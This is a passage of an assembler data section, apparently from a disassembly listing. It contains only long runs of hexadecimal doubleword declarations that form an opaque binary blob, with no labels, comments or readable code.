		dd 3302A2FDh, 77AD261Fh, 115479BCh, 62387C92h, 0CA4CBDh
		dd 0E2024E72h, 375ED1h,	48DD7B85h, 96FD095Ah, 266C109Dh
		dd 44570B73h, 3838EC1Ah, 0A71E7067h, 6B007FBDh,	86EDF330h
		dd 871024Dh, 0E95B53D0h, 0BAC8610Bh, 5380AC2Dh,	7E20BED3h
		dd 915BB000h, 6A0F4BD0h, 4A7D736Dh, 87FC8826h, 757F8D04h
		dd 0DCB80781h, 2098448Bh, 0C50038EDh, 0F95C70Bh, 1D72CB96h
		dd 5330D8CFh, 84F42215h, 104064D9h, 470240h, 0A8CA4AC7h
		dd 0DB576B3Dh, 90078C08h, 58F908A1h, 295BBA42h,	32DB2C11h
		dd 800988E0h, 28B2540Fh, 0C1729880h, 44847601h,	0F7AF0BDDh
		dd 88FE8848h, 2900A43Fh, 9F0DF3CCh, 19E2AD93h, 69FD426Eh
		dd 0E2D43D76h, 5FA200Ah, 10077A78h, 0BE30EB76h,	9F04356h
		dd 9686B7BAh, 0F2C64431h, 2E00884Ch, 28374DCEh,	0FC858DDh
		dd 0B620C910h, 306CEDABh, 0A1806E02h, 2766A5Fh,	0C029077Ah
		dd 9E34B20h, 0F7E78F2Eh, 29B92CE9h, 1F433C34h, 0CFC027FBh
		dd 1AE3ECE1h, 150100E0h, 0A1236AA6h, 0FC017366h, 0E7DE110Eh
		dd 106952C6h, 4EB28900h, 0FC361019h, 0BFD30300h, 0A6E58F49h
		dd 9038BC6Eh, 4C9011h, 67B26886h, 0CF1D3E3h, 2EB8F7D8h
		dd 801ADCB0h, 76A9A174h, 652C4028h, 141FC8B9h, 0E6C4C337h
		dd 0AE042113h, 0A0B325C1h, 0EC38C84Ah, 0F738DD1Dh, 0A1D99700h
		dd 19D8802h, 0BA0ECE8Dh, 4986455Ah, 84D06C8Ch, 1756F95Ch
		dd 85986490h, 80F4A230h, 0F542B506h, 624CBEAAh,	1062CBF9h
		dd 3C716A62h, 99802821h, 0C26AFE2Eh, 0BB2526D6h, 0E2602470h
		dd 3459A79Eh, 415DA40Ch, 661B0024h, 19B674C9h, 6F7BBB55h
		dd 0E9D66E08h, 10F804BAh, 2040F6F9h, 9C88D3A5h,	3D8890ECh
		dd 712E0989h, 2F81C216h, 0ECD8A2DCh, 0BC7A615Ah, 81993704h
		dd 5CAC07B0h, 0E4F99B82h, 3C81CD42h, 3C02E0B9h,	0A17C8094h
		dd 2A05EEFh, 8A095D45h,	9C5C3DA9h, 0E008A892h, 6028A410h
		dd 0FEF65EACh, 0B56EE0Fh, 5DB7A086h, 2AC7449Ah,	22D005BDh
		dd 9E255987h, 70FCBAA8h, 0E91C7200h, 0C96B70E4h, 845943B0h
		dd 44A78710h, 9CE2F1h, 66335DF3h, 9100E17h, 0CF3B428Ch
		dd 71574069h, 12047298h, 0A8928410h, 26187AE9h,	0E450743Ah
		dd 7B0E650h, 60BB2A76h,	0A822F0B3h, 0DC2B9Ch, 7AC666A0h
		dd 0BEDA9B1Fh, 0E01F2E5Bh, 7F3A2F62h, 14C228B2h, 926E0CF3h
		dd 0CCC5AC31h, 1DFC30h,	4EDF23F3h, 0FD32C80h, 0DD65CC94h
		dd 0C06910A6h, 680358E6h, 0F30DB2FEh, 0CDEDA913h, 267850EAh
		dd 6BD4409Eh, 0A7004444h, 0D1588DDBh, 4DA8AAEh,	7F7AB2DDh
		dd 0D108F8E7h, 31290054h, 0BA84879Ah, 54907D67h, 574004h
		dd 0D8963552h, 10433AF3h, 0BBB5BC13h, 0C500C0F6h, 8DA902Fh
		dd 0DB05BA7Dh, 434C45ACh, 3E12FC5Dh, 900030F2h,	8D3CB9D9h
		dd 0D800157Eh, 2A68FD8Ah, 3B438835h, 68CC06CEh,	3176A5C0h
		dd 5754214h, 0A42EB209h, 0BB9C48F1h, 0FE0926C6h, 0C4464028h
		dd 430038C1h, 837F046Ah, 4BC77CFFh, 78984052h, 0D8EBCD09h
		dd 0D4C56500h, 264B3C69h, 98C64B14h, 44F42348h,	533A39h
		dd 9A4E46A3h, 0D452F98Bh, 14C0E828h, 11BB233Eh,	0C587072Ch
		dd 0E18FCD01h, 1478FEACh, 3DFC0896h, 1DE891A7h,	18F91CF8h
		dd 5832B0DFh, 0DB48C76Eh
		dd 75DE8440h, 0A368C852h, 0E3618A02h, 0CEFB120Eh, 9147008Ch
		dd 7E55F672h, 4500411Fh, 0AE903F4Ah, 4F2FA81Eh,	0DCF860A1h
		dd 1000B709h, 2EEB010Eh, 9DA1F7D5h, 0A30C9CB0h,	0ED98CC00h
		dd 4EC3282Eh, 0D81C0EACh, 0FAC1E655h, 60F4DBF1h, 0C422FB84h
		dd 0A486E0h, 0FF6DED56h, 0D03DC6AEh, 2ECA8A1Ch,	0E4987096h
		dd 86E0088h, 0B2581B36h, 9007134h, 60B68F86h, 0BB8A555h
		dd 0AEDB92BBh, 7CBE7830h, 4B544100h, 2B6A8862h,	11A4A9ECh
		dd 9E84D879h, 0CF4CCCA2h, 24042685h, 2864F25Ch,	545BEB70h
		dd 1D944Bh, 0B47A5958h,	0ACB62CF4h, 3BD303A8h, 91E17CE5h
		dd 0C4403EA6h, 400A1B4Fh, 327E090Fh, 0FC64C601h, 9E63800h
		dd 94C2854Fh, 5E1704AAh, 0D21AD764h, 6CC59114h,	68BA900Bh
		dd 88115454h, 5F0043FAh, 4F266838h, 283E212Fh, 4E88BADDh
		dd 0CCA820C0h, 1005038Bh, 33FCE9E3h, 206020B6h,	0B18D1889h
		dd 850E71DFh, 55D1A125h, 6CF8A860h, 4AC00081h, 83F02F63h
		dd 0A35FEECFh, 1CA43034h, 0B14228C7h, 52E09F60h, 2B340A13h
		dd 0ECB898F4h, 41121EE2h, 286BC0FCh, 2C3CA54Ch,	0A06804Dh
		dd 37C9DCA8h, 57F30048h, 0F0C12DBh, 0E03C655h, 0D816C742h
		dd 0DF99F0D1h, 0BAD900E1h, 84BB5D17h, 8041427h,	793A474Fh
		dd 202A14C9h, 7565109Ch, 0FB724203h, 0B0CEDACAh, 519A9DEh
		dd 199F428h, 0E63488FEh, 39D1C303h, 0E1160E73h,	0EAC02417h
		dd 5B5A029Fh, 0CA7D589Eh, 48EC6061h, 907301Ch, 0D6AEBFB6h
		dd 0BEEB3150h, 260A0398h, 6C17ACAh, 617F8180h, 0C6531F09h
		dd 0A0EC79BAh, 0A1CF2290h, 59A63901h, 72C44165h, 5ED83CF1h
		dd 45E8B811h, 64206AE3h, 0DC96D8h, 34D6B62Eh, 0C2545F0Dh
		dd 0AD3B4A00h, 8EE83A4Ch, 0B1AC0BB5h, 54212CB8h, 244F1EFFh
		dd 17E90A94h, 93FB88CCh, 0B6BA0F9Ch, 1A1C91E5h,	547019B0h
		dd 9DAE8A20h, 0E88CF811h, 5913BA70h, 0B0A3CD96h, 0C039F800h
		dd 7645DA7Eh, 0E4F1092Eh, 0B4B2D812h, 39EC4F03h, 0CDF0841Bh
		dd 0E9C011FEh, 3B152C81h, 338000CCh, 446C543h, 9200956Eh
		dd 0B7FB8A0h, 581122ADh, 0AEC8ECF2h, 0C740A9C0h, 0A46C0221h
		dd 97A1A5F9h, 6640E47Eh, 0D4069h, 0C75E51FEh, 0F9507970h
		dd 91A422h, 5517DFD3h, 8AE9C036h, 23589Fh, 0B0CDE4C8h
		dd 0D3F8A227h, 0E49F7925h, 0EF4E0018h, 31BAF901h, 0B0AAC36Eh
		dd 111E2C59h, 0B81A3480h, 9108B4h, 5F516EADh, 63094777h
		dd 0B6603894h, 48CBD1h,	64E10AD9h, 0A81DDD1Eh, 20EB6009h
		dd 0C22D8449h, 972280A2h, 0FE84E000h, 0EA33F6E5h, 0D22005Dh
		dd 8ECDEC4Ah, 0C3016A05h, 175F3AA6h, 0FF0FD70h,	0B9F405EEh
		dd 49AB90h, 94D5C128h, 555C3DB3h, 88424D8h, 457A3A62h
		dd 3E9080B8h, 0F0D68798h, 22AB3B13h, 1CB28CC8h,	0F6B53Ch
		dd 0C3079080h, 0D904E5D4h, 0DC3F4249h, 68F27881h, 505CA912h
		dd 0B8BAF853h, 15E41FCDh, 1134A4F5h, 923A273Dh,	69745E58h
		dd 0A2787883h, 9DF9D000h, 0D0E6113Eh, 81741EC6h, 139C16AFh
		dd 103837F0h, 0DAD401E7h, 0E2514F63h, 7DEE8964h, 1BACFFCh
		dd 4861A9DFh, 0BED126A5h, 2D04C8E1h, 6CECA3h, 0BFB0DB1Bh
		dd 0A2B7411Ch, 52D13C08h, 6A0E801Fh, 67C5DEF6h,	231AC300h
		dd 0A680E5BDh, 55B302DCh, 8EA56F07h, 81004C44h,	0E610F10Ch
		dd 349A6E1h, 0A2CAA137h, 0FC9C90ECh, 0F7CC80B0h, 26EA88ACh
		dd 17EC0F26h, 366500C6h, 0E3BBDFA4h, 0DA80DC00h, 0AFF54A2h
		dd 75F8902Ah, 12134256h, 0A8C89CECh, 0FFBE3F2Dh, 0C266C880h
		dd 74B15273h, 25826CB9h, 0DF2DD3C3h, 0A69920E0h, 98FA49Ch
		dd 64954013h, 74BAAB20h, 55070043h, 1503F7DAh, 0B11D38BEh
		dd 0CF01F85Ch, 76462D8Ah, 18C11C02h, 0E91B10DEh, 177B9Eh
		dd 0C27F9FDCh, 75F83F2Bh, 61639900h, 0B624DD9Dh, 0C8F94851h
		dd 0CCC408C0h, 0E1609C9h, 0F4A2ECBBh, 105F83Dh,	801619C8h
		dd 0EA7DD727h, 2820E45Eh, 0C32F9Ch, 0DC13933Ah,	22B99102h
		dd 78C0C0A1h, 0E199B040h, 23079ADh, 0F770FA89h,	3443D492h
		dd 6C10D9AFh, 43885BA7h, 26603DF2h, 24A1DD8Ch, 0AE76AB50h
		dd 3AA50905h, 0C91E0C8h, 206F226Eh, 9E1EDCB4h, 0C3382B64h
		dd 41847497h, 0F5F1B489h, 0CC4B102Ch, 0EC007344h, 7BFC6EB8h
		dd 14D298F2h, 14490A10h, 8A00D822h, 8D09A2FAh, 0EA9763h
		dd 6B288F23h, 0EABE391h, 0A490AC0Eh, 9E2142C1h,	0E0F2BFh
		dd 0F2D139E1h, 5C7F3071h, 78ACFB01h, 0E49052C7h, 55861E8h
		dd 0C1D98F1h, 133CE74Ch, 0FEA3F3h, 4BDC0820h, 7C0163BAh
		dd 386F9226h, 7182C5A7h, 79EA4091h, 2AC084DCh, 12882CD1h
		dd 9947D6h, 0ED1F72E6h,	967F18BFh, 0A4915012h, 8CC01088h
		dd 9E36380Bh, 1058492Eh, 24D8206Eh, 0BA035146h,	0A4BB7ACEh
		dd 0E890801h, 0BB1149h,	1D1482E8h, 76CA4Ch, 31422CEAh
		dd 7CBBE6F6h, 0F8C7512h, 7800C0F2h, 0B21292E0h,	0F4011710h
		dd 0AA9348B1h, 4DC8EC0Eh, 1401FA44h, 44F61116h,	0EDA6007Eh
		dd 0F42FD2D9h, 4D1402ECh, 0C0DC1575h, 71CE9413h, 49300F5h
		dd 82A5A8B0h, 6F05DF3Dh, 89B4382Ah, 0ECA678C1h,	752395E4h
		dd 7CB950C4h, 0A7DA02F1h, 115DC7A5h, 1E0F40D9h,	0D6228098h
		dd 1F30D1Fh, 4B23948Fh,	6EED9F3Fh, 0C31C7022h, 199E9826h
		dd 0B0870012h, 3798977Bh, 34130A5Eh, 2C07B928h,	46007553h
		dd 34372ECh, 0ADA0C0Fh,	8010EE5h, 0CFDCC497h, 982062A4h
		dd 913A27A3h, 19008094h, 6E2620A9h, 0AB36D1h, 727C8EF9h
		dd 6CAFD38Ah, 20FE042Fh, 9F16E1B0h, 8C68000Ch, 44433D54h
		dd 784CD40Eh, 9C687F0h,	0F468881h, 7878203Eh, 71985B0Eh
		dd 0AB012001h, 5DE87267h, 0EBC0EEEDh, 0D418BD47h, 6406F021h
		dd 7EFD09E1h, 700A4448h, 0B93E841Eh, 0DA1F4841h, 0ABC48DCAh
		dd 9B610BB3h, 0A0181E79h, 640050CEh, 7ECABFA6h,	45FF4EA5h
		dd 0F0CCED5Bh, 0C0B2BB92h, 3F4C7522h, 2E82ABB0h, 0F42B1960h
		dd 5212E054h, 58B8B4D5h, 722D90B0h, 6E300661h, 106D5623h
		dd 518CD0C0h, 0FE7F2E53h, 9949BB00h, 4A0C136Bh,	0AC150039h
		dd 0E2A6A2E1h, 4448DDB0h, 9F4B22ACh, 0C61F2C90h, 57DEECA0h
		dd 723AB800h, 0F139330Eh, 594616B9h, 91288814h,	2A075B00h
		dd 0D1AD9E74h, 1090954Ch, 0E50322D2h, 0C8DE8E4Bh, 59BEF87Eh
		dd 35B60049h, 0AEA6928Ch, 620EA821h, 0AD90F95Bh, 9421C9E1h
		dd 0CDA0107Ch, 1A3E98FCh, 0CE380276h, 72A72328h, 0B759037Ch
		dd 8E21AD60h, 555D91B0h, 0B01674F4h, 80C9E7FFh,	0A89E21F2h
		dd 0F20C41FAh, 86B317A1h, 4191F122h, 1C303C6Fh,	0FF65B412h
		dd 95C41820h, 7B480122h, 15680F81h, 7859206Eh, 642CE298h
		dd 0F603D416h, 0C859B7FCh, 596F874h, 9E76458Eh,	832CE25Dh
		dd 0F0566EAEh, 1DF9576h, 90287D52h, 31251123h, 804439D6h
		dd 13FA5B51h, 199F3B4Fh, 0D00CEDCh, 78B5FFDFh, 3A24B2E7h
		dd 0D10BA0F7h, 1678B8AEh, 0C860076h, 11C25083h,	0CA989F22h
		dd 8094B948h, 2C342D61h, 78E8078Bh, 9053A60Ch, 996C4660h
		dd 0E9419019h, 61E2BC89h, 8B10FFB4h, 3E33DD47h,	88959E1Dh
		dd 24A93438h, 0B82124h,	4AA1AB8Ch, 0D1043A57h, 0AED6C7D4h
		dd 511CDCh, 0FCCA56C3h,	440D676Ah, 0D5352F00h, 0AE5D25C8h
		dd 127AC6h, 0BC22ACD2h,	4C430FF0h, 7A791CB8h, 0F8A19E00h
		dd 0F9E5A5BAh, 74BBBBh,	8C872F8Fh, 8200A866h, 971C1E98h
		dd 0C65538h, 0DEC7935Eh
		dd 0DB7C6BB5h, 89156F3Dh, 0B8A681BAh, 81CBE5C0h, 0F7EC4097h
		dd 5E621FF2h, 4B5CAC10h, 55F9FAF8h, 0E8008494h,	4355C904h
		dd 989EBA3h, 0A163597Ah, 8107041h, 0EAED0553h, 30BBC601h
		dd 0DEAB3D8Ch, 723CE71Ch, 940319Dh, 24463A28h, 0CD055FEEh
		dd 0A2ACCCECh, 0DF923Bh, 0E302617Bh, 50F2D7A8h,	0B05098A0h
		dd 0DE402664h, 0DF814048h, 40945DABh, 60975213h, 5F3CF9B0h
		dd 99E067h, 799C0535h, 0D5C2BA13h, 810F3905h, 5C8064F7h
		dd 9DAA0251h, 9081C089h, 0E4A6757Fh, 0DE09BBC4h, 0BC3D44Eh
		dd 0D9D00918h, 8E8A6DCh, 90A85B87h, 7BBB12F9h, 4CF886Ch
		dd 0A1477C2Eh, 0D0225053h, 109ADB9Fh, 0C032FDD3h, 0C961867Fh
		dd 0B4FE575Eh, 7C30EC27h, 7458D3FAh, 71372506h,	0BD1580C0h
		dd 0BAD6324Fh, 0F4003374h, 2DBCEBD5h, 182EE30Ch, 0D9B5AC9Ch
		dd 3988A5FBh, 0D7B11D13h, 0E337C0E1h, 0F020C67Eh, 4872A26h
		dd 0DD381949h, 0C0047E18h, 76219309h, 50CE18ACh, 75F1DEE0h
		dd 2095A751h, 49C7E6E0h, 0BA890B88h, 48D1DB6Eh,	0AD62F540h
		dd 0B305023Eh, 0A5CE4BFAh, 0B288B0C0h, 35403B04h, 94A251ECh
		dd 7C953A00h, 0EEEB709Ch, 0A6E7B604h, 0DCC5C95Eh, 4A72D0ACh
		dd 0E62088AEh, 0CEBC0104h, 60B8113Ch, 0FF20F882h, 0BC22AC52h
		dd 34CF2D8h, 298B34A3h,	0C0D1CB4Ah, 7A60D60Bh, 0F333B7A4h
		dd 0BC4DE8DEh, 1485A8B0h, 0A9611D2Ch, 0B600EC42h, 0A490B910h
		dd 115A24B5h, 96A58C8h,	0A7AE31BBh, 0B845FC92h,	0B3D21C80h
		dd 5861702h, 0C4096DB7h, 0D78CA063h, 403AFC89h,	0B3EFB6E0h
		dd 9C00A590h, 9E168CD5h, 0BABA4A34h, 49211D98h,	1DB8E991h
		dd 34553BCh, 9436BB24h,	0C02882ECh, 90272920h, 8EE20101h
		dd 8F6BFAD3h, 4CA9E5B2h, 9602D0F4h, 246E20A6h, 0BBEC2226h
		dd 37BC3459h, 0D7803153h, 240AE32Fh, 11E0A7E0h,	0D2F80075h
		dd 30AB71CEh, 16B7026Dh, 0A73BD859h, 0F86008C4h, 0A6834310h
		dd 0DD26029Ch, 91B4F47Ah, 0BC403454h, 168ECA5h,	0C745933Dh
		dd 7B9E6253h, 0B41B4C60h, 6704004Fh, 0D805278h,	0A648FF13h
		dd 0B1F053Eh, 7382935Dh, 4400542Fh, 0B8120DDh, 0A27F4BD4h
		dd 0CF9A8FC8h, 5FF6802Ah, 4602F35h, 509F2132h, 4D8B76Ah
		dd 4090C857h, 602EB8F1h, 0D0371B5Ch, 0C4983100h, 0B8648A47h
		dd 878B0089h, 0BA21041Fh, 0ED487B3Dh, 0EC340E88h, 6EC0E16Ch
		dd 0C2FEAAD8h, 0A02B552Ch, 0F1ABC018h, 0BF0FCD07h, 0F4B01AA3h
		dd 0DD37E4h, 466AB9C8h,	49041161h, 0EA787027h, 914C59F4h
		dd 9A3000F3h, 0BD8D38D7h, 0DA260B3Dh, 4009880Ah, 3C82DC98h
		dd 142EE200h, 9C645794h, 0E8109DCEh, 0E303D26Ch, 2CF4CC32h
		dd 4C06C8DBh, 0D1E0174h, 0F3F4951h, 9E7089EBh, 606476A6h
		dd 8D70E4E0h, 0B6FA0702h, 20D2B999h, 6481BBCCh,	92BDD700h
		dd 963D2BABh, 0E66900EDh, 208706D9h, 0AE006F8Bh, 651E3F0Dh
		dd 0FEDCE3A5h, 480A72BAh, 6D80A0FFh, 36C175B4h,	547FC002h
		dd 0D1DC1137h, 21433F0Ch, 88AE0924h, 3135480h, 1E0B2ED7h
		dd 4D3CCDAh, 1881EC35h,	0AE147673h, 0C6A87462h,	1D40009Ch
		dd 5FBDF736h, 85092BB5h, 0DCB9574Eh, 54CB09E6h,	0E240705Eh
		dd 0F3E450h, 29A69C32h,	3483AD7Eh, 7BB835F0h, 0B8E83F25h
		dd 907C9DC8h, 100F0044h, 0D1B0209Ch, 0E03B274h,	4630754Dh
		dd 0BCBCC43Ah, 0AC1DC88h, 5470C13Bh, 10C40F57h,	0B9D9FE6h
		dd 38C492F9h, 93123D02h, 0DC99A8C4h, 0A116198h,	291452AEh
		dd 0A94A99F8h, 430098B3h, 242CFF82h, 0D00B2808h, 82CD7427h
		dd 534C73DCh, 9810A594h, 0B600C643h, 6F9891DEh,	0FC10E75Ah
		dd 88D15BF4h, 38018118h, 0DCEF0140h, 0CC634FF9h, 764DFE00h
		dd 0CD6CAD1Ch, 0E82A9802h, 0F491D09Fh, 0F4BC406Ch, 0CC3E06C5h
		dd 0FCAB2C01h, 0FA149E62h, 0DBC70A1Ch, 25F8248Fh, 0B040F079h
		dd 0E8F618C8h, 1437697h, 3B52DB33h, 0F8BB2C65h,	2A4A6401h
		dd 247818BCh, 8DEC6DB4h, 2715723h, 512906D0h, 4C8100A4h
		dd 8968DB5Ah, 6A1CBE00h, 95FDE782h, 0C0240472h,	8256C790h
		dd 0CC618778h, 2C706211h, 0D34038FCh, 0A98B04h,	31B7444Eh
		dd 0F284E22Ah, 90E46E06h, 0A029475Dh, 5BF0F66Ch, 5B1408B6h
		dd 0B8F94480h, 1B8742FEh, 28BBC743h, 754CFA98h,	68E2C64Bh
		dd 0AF59BA00h, 433A649Dh, 0D4160A00h, 84F9BB71h, 91102EFEh
		dd 49FF67B8h, 0A450BC40h, 80A7D427h, 8C837F98h,	0C0650BBDh
		dd 7880993Ch, 114D3A84h, 0EC8A2AE9h, 2F57F90Eh,	0D9116B80h
		dd 0DB003569h, 1D7B4514h, 4C36A6A5h, 0EF019C4Ah, 0FFAD99A4h
		dd 628A10F9h, 111E1C56h, 42C604FDh, 0E020AE3Eh,	0BD1C51h
		dd 12869AACh, 31A2B774h, 7C97C600h, 0AAD4ECF7h,	0B021E1D7h
		dd 20A6B4C3h, 9C982403h, 0E2FC3666h, 691B005Ch,	0F2E6449h
		dd 8F4F179Eh, 825C8C5Dh, 9FA33500h, 0E002D246h,	0BF9090D0h
		dd 0CDF0D020h, 3C00FEAAh, 9314CCF9h, 6F16FD1h, 17F8C182h
		dd 0D444C0C2h, 8B2B269Fh, 3381077Eh, 0CDF9705Ch, 0ECF80CD3h
		dd 115DDC09h, 434CC4F6h, 1DD2140h, 0B443E522h, 0E8203E09h
		dd 79489942h, 7E7B0076h, 90AD282Ch, 20A0E543h, 0D18A42F6h
		dd 41003FCCh, 0B57B21B4h, 0E2003984h, 0E8A0EA56h, 4C98F2Ch
		dd 0A9DC440Fh, 873CF81Eh, 2B000C0Dh, 61A5EEh, 0E42DAA7h
		dd 602666D4h, 52836404h, 565BF9h, 38C6E678h, 0CCB289CFh
		dd 0A889A461h, 0A0E3D7A6h, 0B80B757Dh, 0F2E44AC8h, 90FCCB34h
		dd 5F238h, 82262D10h, 0DD1867FDh, 6DC6DF24h, 70C8EC17h
		dd 78114575h, 0E39E12ECh, 16240C7h, 0C4B07429h,	96A467A4h
		dd 292068C2h, 0E017C51h, 0C6F29CBFh, 0A1F6FCh, 0BD4C24AEh
		dd 914B0496h, 48B9A835h, 1FC014ACh, 60D2C22Dh, 0A701DC7Ah
		dd 6232CF02h, 0C428A34Dh, 38485380h, 0A02785Fh,	0C8752BA5h
		dd 43D8D45Dh, 0E1A049A7h, 0C612E550h, 18A2FFC4h, 0FCEA7E00h
		dd 8EAE3267h, 691C8472h, 0FE5EF8F3h, 0A852C381h, 0C6C6D39h
		dd 0C8E0480h, 7273BE3Bh, 0F694640Fh, 0E82186E1h, 6C605D6Ch
		dd 41445313h, 0ACF94264h, 28F434FFh, 54949CA4h,	247C407Ah
		dd 403A88DFh, 4635C89h,	0D284EC00h, 224F0BB6h, 3C31D30Fh
		dd 50216276h, 67C46153h, 10A5CC57h, 0AB8038F8h,	90AA45A7h
		dd 725E9FEAh, 63E52860h, 75201ECh, 134F2310h, 0F836C0D8h
		dd 0C8153F0Ch, 7F3E60CAh, 5D632D11h, 24A074C4h,	823C7ADBh
		dd 0A20B93D4h, 0ED8750A8h, 71AF30A9h, 170010AEh, 502EE3BBh
		dd 319E12D9h, 448907ABh, 0EBFCF0A5h, 80F492B5h,	410F7AECh
		dd 590C01AFh, 20CFE6FEh, 17829A7h, 4246CEFAh, 598C4167h
		dd 0FE0F911h, 46E8618Ah, 26A79E11h, 48211C58h, 11C66EDAh
		dd 8A2E74B8h, 0E0AB00A4h, 0A2C37BAh, 19AD3C98h,	83A69481h
		dd 60294551h, 71CB47B4h, 0B1601157h, 8B00A032h,	14699CF6h
		dd 0D4045AA1h, 0B43D510Fh, 0C0D218E1h, 0A1EF4DF8h, 0E04384B0h
		dd 3CB98C5Bh, 0C862A7A0h, 137BBA09h, 0B8981054h, 40680041h
		dd 0A9F17616h, 89030F64h, 51E74A8Ch, 0B80BEDE2h, 0EE5090A7h
		dd 0F264079h, 589C90B7h, 0E9380056h, 0A143B818h, 17008721h
		dd 0F12A5FCDh, 5BABED90h, 7C4C80Dh, 1A778100h, 96593F26h
		dd 20EC5AA8h, 0B23D6710h, 43B5B900h, 0BE174F8Eh, 730100D5h
		dd 9246266Dh, 4B0A2572h, 0A4D8E2AEh, 0BCA1F718h, 0E12E01DFh
		dd 7469C075h, 0E7D841A3h, 2B9042D3h, 2CACC724h,	8B016580h
		dd 9B3B95CCh, 2360060h
		dd 0BE077C87h, 1905003Bh, 0B6F167C0h, 0BA04D02Ah, 699249Eh
		dd 7822ECADh, 0A9747C90h, 0F18024B9h, 3BEC8776h, 0B4C20140h
		dd 8159A796h, 7032BFh, 750478F4h, 748884Ah, 0DEB89FD5h
		dd 0CCD95066h, 5462A4ACh, 2C5CBFB8h, 4412D318h,	9400DF76h
		dd 0E1B9802h, 0AC1C99BBh, 20521754h, 0E4891CD0h, 801A4B3Fh
		dd 8A07D93Eh, 1D75DE9h,	54F12EC7h, 90DABECDh, 77229C71h
		dd 9DB3A13h, 90B42428h,	1B2904Eh, 8F433454h, 3B99C4A7h
		dd 958E2080h, 0AA2E0F33h, 8DF21A0Eh, 7509020h, 0DC805B88h
		dd 0AA2D9E0Ch, 0B41C95F0h, 0FE63DE00h, 0E01D19B8h, 85463F8Fh
		dd 4EF67A00h, 21F2B16Dh, 4D528409h, 64CC0944h, 0B4BA02CCh
		dd 4C4FD225h, 0D6FC78C1h, 60804405h, 4EB7EFE2h,	8654B059h
		dd 42DB7C04h, 3CE89EA9h, 41492B30h, 514FEC50h, 78EEC088h
		dd 21B601D5h, 24ABDD29h, 22D86803h, 28680304h, 62DCC8A3h
		dd 6C06DDF0h, 0B4AB9207h, 9A82D476h, 0E128DEAEh, 0DCF77553h
		dd 765C45D9h, 0AB08C0F0h, 1F624209h, 0C0581FEEh, 0E1D5C581h
		dd 0A64CDC36h, 0DA528744h, 0DDD8B6D0h, 0D3E20062h, 33735AD7h
		dd 8E059BBDh, 0DA0834DCh, 77B85850h, 9AE0F88h, 74D39151h
		dd 2EC054DEh, 44BC6910h, 6C04222Bh, 0A43A7E02h,	0C7807A08h
		dd 0A683A961h, 0B098B7DAh, 0EC17E7ADh, 58855D90h, 43C03CB8h
		dd 72146152h, 0AE751200h, 0B9744D5Ah, 0C52F0059h, 0FEFA014Ch
		dd 7CB1766Ah, 539E4610h, 0EFE003E5h, 9CC01EB6h,	0A4508106h
		dd 0C524910h, 1CDB00D8h, 628773E5h, 1D3C7DBEh, 40CE355Ch
		dd 0DE115291h, 0FCA2F08Bh, 2AA89C79h, 0A10080A5h, 0D4E2479Dh
		dd 0FB8502EDh, 0B612C4B2h, 145AC4E1h, 1B812CFCh, 0E4A71C8Bh
		dd 0B3F4D67Dh, 0BC185013h, 40C6CC32h, 2E70CAD8h, 0C3ACBBA3h
		dd 0DCB942C7h, 0D4CCF084h, 1587820Fh, 9AF48556h, 99DB5887h
		dd 0B848DAE0h, 0A350CA6h, 0D738C6F7h, 78DCD300h, 0BC88D550h
		dd 1900607h, 317DD811h,	816090BEh, 97FFF2DDh, 4500D446h
		dd 0A83AB098h, 0EAAE81CFh, 0E13D60C8h, 5BCE116Eh, 644C95h
		dd 0F975CC0Ch, 0CD10F459h, 0C4F6440Fh, 20720F8Bh, 0D2853EB9h
		dd 0C85C0394h, 8456ECA9h, 0C3112580h, 0B74E9096h, 88A2A417h
		dd 97F81C00h, 9917D324h, 0A4A66A0Eh, 0A2616BFDh, 42923AA0h
		dd 0AAC9414h, 0A6B9ACECh, 0B4AE4090h, 0E0986AAh, 0CCA5C053h
		dd 30F038h, 0B888A24h, 96806F56h, 0C4F96100h, 0B1C3C5CAh
		dd 1660B8D0h, 0A2913A40h, 1134825Ch, 60CA4057h,	3B0A1799h
		dd 0A698303Dh, 4600F487h, 0CC54416Fh, 319EE7h, 45D5E982h
		dd 502F618Ah, 22C4554Ch, 0C8EC5B51h, 89008398h,	5FDD862h
		dd 4FF215h, 5A33E19Fh, 12DCAA17h, 174DFF3Ah, 0AC047F7Ah
		dd 0B49A1E6h, 0D520B459h, 2F94DF00h, 7D672AC6h,	0A3D600B1h
		dd 681029B3h, 0E03D74Ah, 0ECE3BAF1h, 103DEF6Ch,	40099C33h
		dd 0B000E84Eh, 6215BCCEh, 814C4D3Bh, 250B7D2Ch,	7420D56Bh
		dd 0C60C04ECh, 89A41C52h, 1011F618h, 32F83D10h,	0AC5D4F00h
		dd 0F5404D36h, 603707EDh, 0F29F2F77h, 0E090BFA4h, 2D06DAF7h
		dd 36389023h, 40AE91h, 71B54DB0h, 0ACDECDCCh, 30A0C900h
		dd 98B1BE0Dh, 0A8A60044h, 0B675A318h, 0BB094D01h, 0F62AE1F2h
		dd 881B4030h, 7CF773FBh, 0A1C3138Ch, 0D10114A7h, 0B0503B05h
		dd 0C5607089h, 0D902D8A4h, 0F43A58B6h, 0AECE8B4h, 0DB7D1CA9h
		dd 0C13E136Ch, 0D010D508h, 44B62EB4h, 0C60060A0h, 0FC4332C1h
		dd 542221h, 14B9668Bh, 812F861Eh, 0E733FF0Fh, 80C8B456h
		dd 0B1665368h, 0B30E382Ah, 72D86180h, 777DE596h, 0CF229B00h
		dd 9CF9BAC7h, 914338AEh, 0B6442605h, 80AC2418h,	962EC624h
		dd 71385A04h, 40C2820Eh, 7C0509Ch, 0F208E9Eh, 974390A8h
		dd 0A29F59FCh, 255DEE90h, 4704C00Fh, 58B8CBE7h,	0B8A6E101h
		dd 78D401ECh, 0A4B1306Ch, 0F4E3D025h, 4980E5Ch,	1189E2A6h
		dd 0AED76081h, 0C0A204h, 0EB2AEF58h, 33DF81h, 868B50B6h
		dd 0F809172Ch, 0FA00C9FAh, 0D41F6BDBh, 0C5A1EFC6h, 0ACC21171h
		dd 0BE80C20Ch, 0CCB07EF6h, 0A4132318h, 0B008898Ch, 92579EE5h
		dd 0FE7C9163h, 68B610F9h, 0F8C33BDAh, 0D0559112h, 0F4B7514h
		dd 6E394004h, 0C744B3DCh, 3D152053h, 0AD100012h, 6E8B6C14h
		dd 1C2E1AD6h, 0DD006964h, 0BAC56604h, 1B24EA4h,	0DE40AC00h
		dd 14122B2Ch, 0CFD25831h, 0C2D1E0D3h, 8C100DFh,	808ED460h
		dd 722606A6h, 910AF7B8h, 7560D05Fh, 71F0E083h, 0C76106D0h
		dd 0E1A699CBh, 0F3B8AF00h, 7C3AF7C9h, 0D5A70D0Eh, 20B95D74h
